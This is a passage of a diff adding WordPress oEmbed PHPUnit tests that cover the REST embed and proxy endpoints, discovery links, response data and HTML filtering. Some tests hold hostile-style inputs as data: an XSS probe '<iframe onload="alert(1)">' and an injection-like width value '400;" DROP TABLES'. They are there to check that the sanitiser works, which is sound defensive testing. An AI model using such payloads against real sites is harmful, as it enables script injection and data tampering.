+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertInternalType( 'array', $data );
+		$this->assertNotEmpty( $data );
+
+		$this->assertArrayHasKey( 'version', $data );
+		$this->assertArrayHasKey( 'provider_name', $data );
+		$this->assertArrayHasKey( 'provider_url', $data );
+		$this->assertArrayHasKey( 'author_name', $data );
+		$this->assertArrayHasKey( 'author_url', $data );
+		$this->assertArrayHasKey( 'title', $data );
+		$this->assertArrayHasKey( 'type', $data );
+		$this->assertArrayHasKey( 'width', $data );
+
+		$this->assertEquals( '1.0', $data['version'] );
+		$this->assertEquals( get_bloginfo( 'name' ), $data['provider_name'] );
+		$this->assertEquals( get_home_url(), $data['provider_url'] );
+		$this->assertEquals( get_bloginfo( 'name' ), $data['author_name'] );
+		$this->assertEquals( get_home_url(), $data['author_url'] );
+		$this->assertEquals( $post->post_title, $data['title'] );
+		$this->assertEquals( 'rich', $data['type'] );
+		$this->assertTrue( $data['width'] <= $request['maxwidth'] );
+
+		update_option( 'show_on_front', 'posts' );
+	}
+
+	function test_request_xml() {
+		$user = self::factory()->user->create_and_get( array(
+			'display_name' => 'John Doe',
+		) );
+		$post = self::factory()->post->create_and_get( array(
+			'post_author' => $user->ID,
+			'post_title'  => 'Hello World',
+		) );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+		$request->set_param( 'url', get_permalink( $post->ID ) );
+		$request->set_param( 'format', 'xml' );
+		$request->set_param( 'maxwidth', 400 );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertInternalType( 'array', $data );
+		$this->assertNotEmpty( $data );
+
+		$this->assertArrayHasKey( 'version', $data );
+		$this->assertArrayHasKey( 'provider_name', $data );
+		$this->assertArrayHasKey( 'provider_url', $data );
+		$this->assertArrayHasKey( 'author_name', $data );
+		$this->assertArrayHasKey( 'author_url', $data );
+		$this->assertArrayHasKey( 'title', $data );
+		$this->assertArrayHasKey( 'type', $data );
+		$this->assertArrayHasKey( 'width', $data );
+
+		$this->assertEquals( '1.0', $data['version'] );
+		$this->assertEquals( get_bloginfo( 'name' ), $data['provider_name'] );
+		$this->assertEquals( get_home_url(), $data['provider_url'] );
+		$this->assertEquals( $user->display_name, $data['author_name'] );
+		$this->assertEquals( get_author_posts_url( $user->ID, $user->user_nicename ), $data['author_url'] );
+		$this->assertEquals( $post->post_title, $data['title'] );
+		$this->assertEquals( 'rich', $data['type'] );
+		$this->assertTrue( $data['width'] <= $request['maxwidth'] );
+	}
+
+	/**
+	 * @group multisite
+	 * @group ms-required
+	 */
+	function test_request_ms_child_in_root_blog() {
+		$child = self::factory()->blog->create();
+		switch_to_blog( $child );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_title' => 'Hello Child Blog',
+		) );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+		$request->set_param( 'url', get_permalink( $post->ID ) );
+		$request->set_param( 'maxwidth', 400 );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertInternalType( 'array', $data );
+		$this->assertNotEmpty( $data );
+
+		restore_current_blog();
+	}
+
+	function test_rest_pre_serve_request() {
+		$user = $this->factory()->user->create_and_get( array(
+			'display_name' => 'John Doe',
+		) );
+		$post = $this->factory()->post->create_and_get( array(
+			'post_author' => $user->ID,
+			'post_title'  => 'Hello World',
+		) );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+		$request->set_param( 'url', get_permalink( $post->ID ) );
+		$request->set_param( 'format', 'xml' );
+
+		$response = $this->server->dispatch( $request );
+		$output   = get_echo( '_oembed_rest_pre_serve_request', array( true, $response, $request, $this->server ) );
+
+		$xml = simplexml_load_string( $output );
+		$this->assertInstanceOf( 'SimpleXMLElement', $xml );
+	}
+
+	function test_rest_pre_serve_request_wrong_format() {
+		$post = $this->factory()->post->create_and_get();
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+		$request->set_param( 'url', get_permalink( $post->ID ) );
+		$request->set_param( 'format', 'json' );
+
+		$response = $this->server->dispatch( $request );
+
+		$this->assertTrue( _oembed_rest_pre_serve_request( true, $response, $request, $this->server ) );
+	}
+
+	function test_rest_pre_serve_request_wrong_method() {
+		$post = $this->factory()->post->create_and_get();
+
+		$request = new WP_REST_Request( 'HEAD', '/oembed/1.0/embed' );
+		$request->set_param( 'url', get_permalink( $post->ID ) );
+		$request->set_param( 'format', 'xml' );
+
+		$response = $this->server->dispatch( $request );
+
+		$this->assertTrue( _oembed_rest_pre_serve_request( true, $response, $request, $this->server ) );
+	}
+
+	function test_get_oembed_endpoint_url() {
+		$this->assertEquals( home_url() . '/index.php?rest_route=/oembed/1.0/embed', get_oembed_endpoint_url() );
+		$this->assertEquals( home_url() . '/index.php?rest_route=/oembed/1.0/embed', get_oembed_endpoint_url( '', 'json' ) );
+		$this->assertEquals( home_url() . '/index.php?rest_route=/oembed/1.0/embed', get_oembed_endpoint_url( '', 'xml' ) );
+
+		$post_id     = $this->factory()->post->create();
+		$url         = get_permalink( $post_id );
+		$url_encoded = urlencode( $url );
+
+		$this->assertEquals( home_url() . '/index.php?rest_route=%2Foembed%2F1.0%2Fembed&url=' . $url_encoded, get_oembed_endpoint_url( $url ) );
+		$this->assertEquals( home_url() . '/index.php?rest_route=%2Foembed%2F1.0%2Fembed&url=' . $url_encoded . '&format=xml', get_oembed_endpoint_url( $url, 'xml' ) );
+	}
+
+	function test_get_oembed_endpoint_url_pretty_permalinks() {
+		update_option( 'permalink_structure', '/%postname%' );
+
+		$this->assertEquals( home_url() . '/wp-json/oembed/1.0/embed', get_oembed_endpoint_url() );
+		$this->assertEquals( home_url() . '/wp-json/oembed/1.0/embed', get_oembed_endpoint_url( '', 'xml' ) );
+
+		$post_id     = $this->factory()->post->create();
+		$url         = get_permalink( $post_id );
+		$url_encoded = urlencode( $url );
+
+		$this->assertEquals( home_url() . '/wp-json/oembed/1.0/embed?url=' . $url_encoded, get_oembed_endpoint_url( $url ) );
+		$this->assertEquals( home_url() . '/wp-json/oembed/1.0/embed?url=' . $url_encoded . '&format=xml', get_oembed_endpoint_url( $url, 'xml' ) );
+
+		update_option( 'permalink_structure', '' );
+	}
+
+	public function test_proxy_without_permission() {
+		// Test without a login.
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$response = $this->server->dispatch( $request );
+
+		$this->assertEquals( 400, $response->get_status() );
+
+		// Test with a user that does not have edit_posts capability.
+		wp_set_current_user( self::$subscriber );
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', self::INVALID_OEMBED_URL );
+		$response = $this->server->dispatch( $request );
+
+		$this->assertEquals( 403, $response->get_status() );
+		$data = $response->get_data();
+		$this->assertEquals( $data['code'], 'rest_forbidden' );
+	}
+
+	public function test_proxy_with_invalid_oembed_provider() {
+		wp_set_current_user( self::$editor );
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', self::INVALID_OEMBED_URL );
+		$response = $this->server->dispatch( $request );
+		$this->assertEquals( 404, $response->get_status() );
+		$data = $response->get_data();
+		$this->assertEquals( 'oembed_invalid_url', $data['code'] );
+	}
+
+	public function test_proxy_with_invalid_type() {
+		wp_set_current_user( self::$editor );
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'type', 'xml' );
+		$response = $this->server->dispatch( $request );
+
+		$this->assertEquals( 400, $response->get_status() );
+	}
+
+	public function test_proxy_with_valid_oembed_provider() {
+		wp_set_current_user( self::$editor );
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', 'https://www.youtube.com/watch?v=' . self::YOUTUBE_VIDEO_ID );
+		$request->set_param( 'maxwidth', 456 );
+		$request->set_param( 'maxheight', 789 );
+		$request->set_param( '_wpnonce', wp_create_nonce( 'wp_rest' ) );
+		$response = $this->server->dispatch( $request );
+		$this->assertEquals( 200, $response->get_status() );
+		$this->assertEquals( 1, $this->request_count );
+
+		// Subsequent request is cached and so it should not cause a request.
+		$this->server->dispatch( $request );
+		$this->assertEquals( 1, $this->request_count );
+
+		// Rest with another user should also be cached.
+		wp_set_current_user( self::$administrator );
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', 'https://www.youtube.com/watch?v=' . self::YOUTUBE_VIDEO_ID );
+		$request->set_param( '_wpnonce', wp_create_nonce( 'wp_rest' ) );
+		$request->set_param( 'maxwidth', 456 );
+		$request->set_param( 'maxheight', 789 );
+		$response = $this->server->dispatch( $request );
+		$this->assertEquals( 1, $this->request_count );
+
+		// Test data object.
+		$data = $response->get_data();
+
+		$this->assertNotEmpty( $data );
+		$this->assertInternalType( 'object', $data );
+		$this->assertEquals( 'YouTube', $data->provider_name );
+		$this->assertEquals( 'https://i.ytimg.com/vi/' . self::YOUTUBE_VIDEO_ID . '/hqdefault.jpg', $data->thumbnail_url );
+		$this->assertEquals( $data->width, $request['maxwidth'] );
+		$this->assertEquals( $data->height, $request['maxheight'] );
+	}
+
+	public function test_proxy_with_invalid_oembed_provider_no_discovery() {
+		wp_set_current_user( self::$editor );
+
+		// If discover is false for an unkown provider, no discovery request should take place.
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', self::INVALID_OEMBED_URL );
+		$request->set_param( 'discover', 0 );
+		$response = $this->server->dispatch( $request );
+		$this->assertEquals( 404, $response->get_status() );
+		$this->assertEquals( 0, $this->request_count );
+	}
+
+	public function test_proxy_with_invalid_oembed_provider_with_default_discover_param() {
+		wp_set_current_user( self::$editor );
+
+		// For an unkown provider, a discovery request should happen.
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', self::INVALID_OEMBED_URL );
+		$response = $this->server->dispatch( $request );
+		$this->assertEquals( 404, $response->get_status() );
+		$this->assertEquals( 1, $this->request_count );
+	}
+
+	public function test_proxy_with_invalid_discover_param() {
+		wp_set_current_user( self::$editor );
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', self::INVALID_OEMBED_URL );
+		$request->set_param( 'discover', 'notaboolean' );
+
+		$response = $this->server->dispatch( $request );
+
+		$this->assertEquals( 400, $response->get_status() );
+		$data = $response->get_data();
+		$this->assertEquals( $data['code'], 'rest_invalid_param' );
+	}
+
+	/**
+	 * @ticket 45142
+	 */
+	function test_proxy_with_internal_url() {
+		wp_set_current_user( self::$editor );
+
+		$user = self::factory()->user->create_and_get( array(
+			'display_name' => 'John Doe',
+		) );
+		$post = self::factory()->post->create_and_get( array(
+			'post_author' => $user->ID,
+			'post_title'  => 'Hello World',
+		) );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', get_permalink( $post->ID ) );
+		$request->set_param( 'maxwidth', 400 );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$data = (array) $data;
+
+		$this->assertNotEmpty( $data );
+
+		$this->assertArrayHasKey( 'version', $data );
+		$this->assertArrayHasKey( 'provider_name', $data );
+		$this->assertArrayHasKey( 'provider_url', $data );
+		$this->assertArrayHasKey( 'author_name', $data );
+		$this->assertArrayHasKey( 'author_url', $data );
+		$this->assertArrayHasKey( 'title', $data );
+		$this->assertArrayHasKey( 'type', $data );
+		$this->assertArrayHasKey( 'width', $data );
+
+		$this->assertEquals( '1.0', $data['version'] );
+		$this->assertEquals( get_bloginfo( 'name' ), $data['provider_name'] );
+		$this->assertEquals( get_home_url(), $data['provider_url'] );
+		$this->assertEquals( $user->display_name, $data['author_name'] );
+		$this->assertEquals( get_author_posts_url( $user->ID, $user->user_nicename ), $data['author_url'] );
+		$this->assertEquals( $post->post_title, $data['title'] );
+		$this->assertEquals( 'rich', $data['type'] );
+		$this->assertTrue( $data['width'] <= $request['maxwidth'] );
+	}
+
+	/**
+	 * @ticket 45142
+	 */
+	function test_proxy_with_static_front_page_url() {
+		wp_set_current_user( self::$editor );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_title'  => 'Front page',
+			'post_type'   => 'page',
+			'post_author' => 0,
+		) );
+
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_on_front', $post->ID );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', home_url() );
+		$request->set_param( 'maxwidth', 400 );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertInternalType( 'object', $data );
+
+		$data = (array) $data;
+
+		$this->assertNotEmpty( $data );
+
+		$this->assertArrayHasKey( 'version', $data );
+		$this->assertArrayHasKey( 'provider_name', $data );
+		$this->assertArrayHasKey( 'provider_url', $data );
+		$this->assertArrayHasKey( 'author_name', $data );
+		$this->assertArrayHasKey( 'author_url', $data );
+		$this->assertArrayHasKey( 'title', $data );
+		$this->assertArrayHasKey( 'type', $data );
+		$this->assertArrayHasKey( 'width', $data );
+
+		$this->assertEquals( '1.0', $data['version'] );
+		$this->assertEquals( get_bloginfo( 'name' ), $data['provider_name'] );
+		$this->assertEquals( get_home_url(), $data['provider_url'] );
+		$this->assertEquals( get_bloginfo( 'name' ), $data['author_name'] );
+		$this->assertEquals( get_home_url(), $data['author_url'] );
+		$this->assertEquals( $post->post_title, $data['title'] );
+		$this->assertEquals( 'rich', $data['type'] );
+		$this->assertTrue( $data['width'] <= $request['maxwidth'] );
+
+		update_option( 'show_on_front', 'posts' );
+	}
+
+	/**
+	 * @ticket 45142
+	 */
+	public function test_proxy_filters_result_of_untrusted_oembed_provider() {
+		wp_set_current_user( self::$editor );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', self::UNTRUSTED_PROVIDER_URL );
+		$request->set_param( 'maxwidth', 456 );
+		$request->set_param( 'maxheight', 789 );
+		$request->set_param( '_wpnonce', wp_create_nonce( 'wp_rest' ) );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertEquals( 1, $this->oembed_result_filter_count );
+		$this->assertInternalType( 'object', $data );
+		$this->assertEquals( 'Untrusted', $data->provider_name );
+		$this->assertEquals( self::UNTRUSTED_PROVIDER_URL, $data->provider_url );
+		$this->assertEquals( 'rich', $data->type );
+		$this->assertFalse( $data->html );
+	}
+
+	/**
+	 * @ticket 45142
+	 */
+	public function test_proxy_does_not_filter_result_of_trusted_oembed_provider() {
+		wp_set_current_user( self::$editor );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/proxy' );
+		$request->set_param( 'url', 'https://www.youtube.com/watch?v=' . self::YOUTUBE_VIDEO_ID );
+		$request->set_param( 'maxwidth', 456 );
+		$request->set_param( 'maxheight', 789 );
+		$request->set_param( '_wpnonce', wp_create_nonce( 'wp_rest' ) );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertEquals( 1, $this->oembed_result_filter_count );
+		$this->assertInternalType( 'object', $data );
+
+		$this->assertStringStartsWith( '<b>Unfiltered</b>', $data->html );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/oembed/discovery.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/oembed/discovery.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/oembed/discovery.php	(revision 56912)
@@ -0,0 +1,74 @@
+<?php
+
+/**
+ * @group oembed
+ */
+class Tests_oEmbed_Discovery extends WP_UnitTestCase {
+	function test_add_oembed_discovery_links_non_singular() {
+		$this->assertSame( '', get_echo( 'wp_oembed_add_discovery_links' ) );
+	}
+
+	function test_add_oembed_discovery_links_front_page() {
+		$this->go_to( home_url() );
+		$this->assertSame( '', get_echo( 'wp_oembed_add_discovery_links' ) );
+		$this->assertSame( 0, url_to_postid( home_url() ) );
+	}
+
+	/**
+	 * @ticket 34971
+	 */
+	function test_add_oembed_discovery_links_static_front_page() {
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_on_front', self::factory()->post->create( array( 'post_title' => 'front-page', 'post_type' => 'page' ) ) );
+
+		$this->go_to( home_url() );
+		$this->assertQueryTrue( 'is_front_page', 'is_singular', 'is_page' );
+
+		$expected = '<link rel="alternate" type="application/json+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink() ) ) . '" />' . "\n";
+		$expected .= '<link rel="alternate" type="text/xml+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink(), 'xml' ) ) . '" />' . "\n";
+
+		$this->assertSame( $expected, get_echo( 'wp_oembed_add_discovery_links' ) );
+
+		update_option( 'show_on_front', 'posts' );
+	}
+
+	function test_add_oembed_discovery_links_to_post() {
+		$post_id = self::factory()->post->create();
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertQueryTrue( 'is_single', 'is_singular' );
+
+		$expected = '<link rel="alternate" type="application/json+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink() ) ) . '" />' . "\n";
+		$expected .= '<link rel="alternate" type="text/xml+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink(), 'xml' ) ) . '" />' . "\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_oembed_add_discovery_links' ) );
+	}
+
+	function test_add_oembed_discovery_links_to_page() {
+		$post_id = self::factory()->post->create( array(
+			'post_type' => 'page'
+		));
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertQueryTrue( 'is_page', 'is_singular' );
+
+		$expected = '<link rel="alternate" type="application/json+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink() ) ) . '" />' . "\n";
+		$expected .= '<link rel="alternate" type="text/xml+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink(), 'xml' ) ) . '" />' . "\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_oembed_add_discovery_links' ) );
+	}
+
+	function test_add_oembed_discovery_links_to_attachment() {
+		$post_id       = self::factory()->post->create();
+		$file          = DIR_TESTDATA . '/images/canola.jpg';
+		$attachment_id = self::factory()->attachment->create_object( $file, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+		) );
+
+		$this->go_to( get_permalink( $attachment_id ) );
+		$this->assertQueryTrue( 'is_attachment', 'is_singular', 'is_single' );
+
+		$expected = '<link rel="alternate" type="application/json+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink() ) ) . '" />' . "\n";
+		$expected .= '<link rel="alternate" type="text/xml+oembed" href="' . esc_url( get_oembed_endpoint_url( get_permalink(), 'xml' ) ) . '" />' . "\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_oembed_add_discovery_links' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/oembed/filterResult.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/oembed/filterResult.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/oembed/filterResult.php	(revision 56912)
@@ -0,0 +1,105 @@
+<?php
+
+/**
+ * @group oembed
+ */
+class Tests_Filter_oEmbed_Result extends WP_UnitTestCase {
+	function test_filter_oembed_result_trusted_malicious_iframe() {
+		$html   = '<p></p><iframe onload="alert(1)"></iframe>';
+
+		$actual = wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), 'https://www.youtube.com/watch?v=dQw4w9WgXcQ' );
+
+		$this->assertEquals( $html, $actual );
+	}
+
+	function test_filter_oembed_result_with_untrusted_provider() {
+		$html   = '<p></p><iframe onload="alert(1)" src="http://example.com/sample-page/"></iframe>';
+		$actual = wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), 'http://example.com/sample-page/' );
+
+		$matches = array();
+		preg_match( '|src=".*#\?secret=([\w\d]+)" data-secret="([\w\d]+)"|', $actual, $matches );
+
+		$this->assertTrue( isset( $matches[1] ) );
+		$this->assertTrue( isset( $matches[2] ) );
+		$this->assertEquals( $matches[1], $matches[2] );
+	}
+
+	function test_filter_oembed_result_only_one_iframe_is_allowed() {
+		$html   = '<div><iframe></iframe><iframe></iframe><p></p></div>';
+		$actual = wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), '' );
+
+		$this->assertEquals( '<iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"></iframe>', $actual );
+	}
+
+	function test_filter_oembed_result_with_newlines() {
+		$html = <<<EOD
+<script>var = 1;</script>
+<iframe></iframe>
+<iframe></iframe>
+<p></p>
+EOD;
+
+		$actual = wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), '' );
+
+		$this->assertEquals( '<iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"></iframe>', $actual );
+	}
+
+	function test_filter_oembed_result_without_iframe() {
+		$html   = '<span>Hello</span><p>World</p>';
+		$actual = wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), '' );
+
+		$this->assertFalse( $actual );
+
+		$html   = '<div><p></p></div><script></script>';
+		$actual = wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), '' );
+
+		$this->assertFalse( $actual );
+	}
+
+	function test_filter_oembed_result_secret_param_available() {
+		$html   = '<iframe src="https://wordpress.org"></iframe>';
+		$actual = wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), '' );
+
+		$matches = array();
+		preg_match( '|src="https://wordpress.org#\?secret=([\w\d]+)" data-secret="([\w\d]+)"|', $actual, $matches );
+
+		$this->assertTrue( isset( $matches[1] ) );
+		$this->assertTrue( isset( $matches[2] ) );
+		$this->assertEquals( $matches[1], $matches[2] );
+	}
+
+	function test_filter_oembed_result_wrong_type_provided() {
+		$actual = wp_filter_oembed_result( 'some string', (object) array( 'type' => 'link' ), '' );
+
+		$this->assertEquals( 'some string', $actual );
+	}
+
+	function test_filter_oembed_result_invalid_result() {
+		$this->assertFalse( wp_filter_oembed_result( false, (object) array( 'type' => 'rich' ), '' ) );
+		$this->assertFalse( wp_filter_oembed_result( '', (object) array( 'type' => 'rich' ), '' ) );
+	}
+
+	function test_filter_oembed_result_blockquote_adds_style_to_iframe() {
+		$html   = '<blockquote></blockquote><iframe></iframe>';
+		$actual = wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), '' );
+
+		$this->assertEquals( '<blockquote class="wp-embedded-content"></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);"></iframe>', $actual );
+	}
+
+	function test_filter_oembed_result_allowed_html() {
+		$html   = '<blockquote class="foo" id="bar"><strong><a href="" target=""></a></strong></blockquote><iframe></iframe>';
+		$actual = wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), '' );
+
+		$this->assertEquals( '<blockquote class="wp-embedded-content"><a href=""></a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);"></iframe>', $actual );
+	}
+
+	/**
+	 * @group feed
+	 */
+	function test_filter_feed_content() {
+		$html   = '<blockquote></blockquote><iframe></iframe>';
+		$actual = _oembed_filter_feed_content( wp_filter_oembed_result( $html, (object) array( 'type' => 'rich' ), '' ) );
+
+		$this->assertEquals( '<blockquote class="wp-embedded-content"></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted"></iframe>', $actual );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/oembed/getResponseData.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/oembed/getResponseData.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/oembed/getResponseData.php	(revision 56912)
@@ -0,0 +1,170 @@
+<?php
+
+/**
+ * @group oembed
+ */
+class Tests_oEmbed_Response_Data extends WP_UnitTestCase {
+	function test_get_oembed_response_data_non_existent_post() {
+		$this->assertFalse( get_oembed_response_data( 0, 100 ) );
+	}
+
+	function test_get_oembed_response_data() {
+		$post = self::factory()->post->create_and_get( array(
+			'post_title' => 'Some Post',
+		) );
+
+		$data = get_oembed_response_data( $post, 400 );
+
+		$this->assertEqualSets( array(
+			'version'       => '1.0',
+			'provider_name' => get_bloginfo( 'name' ),
+			'provider_url'  => get_home_url( '/' ),
+			'author_name'   => get_bloginfo( 'name' ),
+			'author_url'    => get_home_url( '/' ),
+			'title'         => 'Some Post',
+			'type'          => 'rich',
+			'width'         => 400,
+			'height'        => 225,
+			'html'          => get_post_embed_html( 400, 225, $post ),
+		), $data );
+	}
+
+	/**
+	 * Test get_oembed_response_data with an author.
+	 */
+	function test_get_oembed_response_data_author() {
+		$user_id = self::factory()->user->create( array(
+			'display_name' => 'John Doe',
+		) );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_title'  => 'Some Post',
+			'post_author' => $user_id,
+		) );
+
+		$data = get_oembed_response_data( $post, 400 );
+
+		$this->assertEqualSets( array(
+			'version'       => '1.0',
+			'provider_name' => get_bloginfo( 'name' ),
+			'provider_url'  => get_home_url( '/' ),
+			'author_name'   => 'John Doe',
+			'author_url'    => get_author_posts_url( $user_id ),
+			'title'         => 'Some Post',
+			'type'          => 'rich',
+			'width'         => 400,
+			'height'        => 225,
+			'html'          => get_post_embed_html( 400, 225, $post ),
+		), $data );
+	}
+
+	function test_get_oembed_response_link() {
+		remove_filter( 'oembed_response_data', 'get_oembed_response_data_rich' );
+
+		$post = self::factory()->post->create_and_get( array(
+			'post_title' => 'Some Post',
+		) );
+
+		$data = get_oembed_response_data( $post, 600 );
+
+		$this->assertEqualSets( array(
+			'version'       => '1.0',
+			'provider_name' => get_bloginfo( 'name' ),
+			'provider_url'  => get_home_url( '/' ),
+			'author_name'   => get_bloginfo( 'name' ),
+			'author_url'    => get_home_url( '/' ),
+			'title'         => 'Some Post',
+			'type'          => 'link',
+		), $data );
+
+		add_filter( 'oembed_response_data', 'get_oembed_response_data_rich', 10, 4 );
+	}
+
+	function test_get_oembed_response_data_with_draft_post() {
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'draft',
+		) );
+
+		$this->assertFalse( get_oembed_response_data( $post, 100 ) );
+	}
+
+	function test_get_oembed_response_data_with_scheduled_post() {
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'future',
+			'post_date'   => strftime( '%Y-%m-%d %H:%M:%S', strtotime( '+1 day' ) ),
+		) );
+
+		$this->assertFalse( get_oembed_response_data( $post, 100 ) );
+	}
+
+	function test_get_oembed_response_data_with_private_post() {
+		$post = self::factory()->post->create_and_get( array(
+			'post_status' => 'private',
+		) );
+
+		$this->assertFalse( get_oembed_response_data( $post, 100 ) );
+	}
+
+	function test_get_oembed_response_data_maxwidth_too_high() {
+		$post = self::factory()->post->create_and_get();
+
+		$data = get_oembed_response_data( $post, 1000 );
+
+		$this->assertEquals( 600, $data['width'] );
+		$this->assertEquals( 338, $data['height'] );
+	}
+
+	function test_get_oembed_response_data_maxwidth_too_low() {
+		$post = self::factory()->post->create_and_get();
+
+		$data = get_oembed_response_data( $post, 100 );
+
+		$this->assertEquals( 200, $data['width'] );
+		$this->assertEquals( 200, $data['height'] );
+	}
+
+	function test_get_oembed_response_data_maxwidth_invalid() {
+		$post = self::factory()->post->create_and_get();
+
+		$data = get_oembed_response_data( $post, '400;" DROP TABLES' );
+
+		$this->assertEquals( 400, $data['width'] );
+		$this->assertEquals( 225, $data['height'] );
+
+		$data = get_oembed_response_data( $post, "lol this isn't even a number?!?!?" );
+
+		$this->assertEquals( 200, $data['width'] );
+		$this->assertEquals( 200, $data['height'] );
+	}
+
+	function test_get_oembed_response_data_with_thumbnail() {
+		$post          = self::factory()->post->create_and_get();
+		$file          = DIR_TESTDATA . '/images/canola.jpg';
+		$attachment_id = self::factory()->attachment->create_object( $file, $post->ID, array(
+			'post_mime_type' => 'image/jpeg',
+		) );
+		set_post_thumbnail( $post, $attachment_id );
+
+		$data = get_oembed_response_data( $post, 400 );
+
+		$this->assertArrayHasKey( 'thumbnail_url', $data );
+		$this->assertArrayHasKey( 'thumbnail_width', $data );
+		$this->assertArrayHasKey( 'thumbnail_height', $data );
+		$this->assertTrue( 400 >= $data['thumbnail_width'] );
+	}
+
+	function test_get_oembed_response_data_for_attachment() {
+		$parent = self::factory()->post->create();
+		$file   = DIR_TESTDATA . '/images/canola.jpg';
+		$post   = self::factory()->attachment->create_object( $file, $parent, array(
+			'post_mime_type' => 'image/jpeg',
+		) );
+
+		$data = get_oembed_response_data( $post, 400 );
+
+		$this->assertArrayHasKey( 'thumbnail_url', $data );
+		$this->assertArrayHasKey( 'thumbnail_width', $data );
+		$this->assertArrayHasKey( 'thumbnail_height', $data );
+		$this->assertTrue( 400 >= $data['thumbnail_width'] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/oembed/headers.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/oembed/headers.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/oembed/headers.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+
+/**
+ * @runTestsInSeparateProcesses
+ * @preserveGlobalState disabled
+ * @group oembed
+ * @group oembed-headers
+ */
+class Tests_oEmbed_HTTP_Headers extends WP_UnitTestCase {
+	function test_rest_pre_serve_request_headers() {
+		if ( ! function_exists( 'xdebug_get_headers' ) ) {
+			$this->markTestSkipped( 'xdebug is required for this test' );
+		}
+
+		$post = $this->factory()->post->create_and_get( array(
+			'post_title'  => 'Hello World',
+		) );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+		$request->set_param( 'url', get_permalink( $post->ID ) );
+		$request->set_param( 'format', 'xml' );
+
+		$server   = new WP_REST_Server();
+		$response = $server->dispatch( $request );
+		$output   = get_echo( '_oembed_rest_pre_serve_request', array( true, $response, $request, $server ) );
+
+		$this->assertNotEmpty( $output );
+
+		$headers = xdebug_get_headers();
+
